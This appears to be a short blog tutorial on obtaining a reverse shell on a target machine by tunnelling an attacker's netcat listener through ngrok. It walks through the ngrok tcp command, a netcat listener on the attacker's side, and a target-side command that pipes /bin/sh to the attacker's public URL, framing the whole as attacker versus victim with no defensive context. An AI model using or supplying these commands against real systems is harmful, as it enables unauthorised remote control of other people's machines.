Reverse shell using ngrok and netcat

Bishal Shrestha
2 min readJun 7, 2022

--

In this article, we are going to use ngrok and netcat to get reverse shell on target machine.

ngrok:

ngrok is an application that allows developers to quickly and easily expose a local development server to the Internet.

Installation process:

At, first follow this link to download ngrok in your machine. Now, we must get an authorisation token to use ngrok. So, signup using your account. After signing up, you will get an authorisation token.

Authorisation token

Now, copy the above command to your terminal and now you are ready to use ngrok.

Reverse Shell:

At first, start ngrok in attacker’s machine and forward the tcp protocol on desired port by using below command.

Command: ngrok tcp <port number>

After executing the command, it will give us a public URL.

We are going to use this URL for reverse shell. Now on, attacker’s machine listen to port using netcat command.

Command: nc -nlvp <port number>
Listening on attacker machine.

Now, on target’s machine execute below netcat command for reverse shell.

Command: nc <public URL> <port number of url> -e /bin/sh

Then, we get reverse shell to victim’s machine.

--

--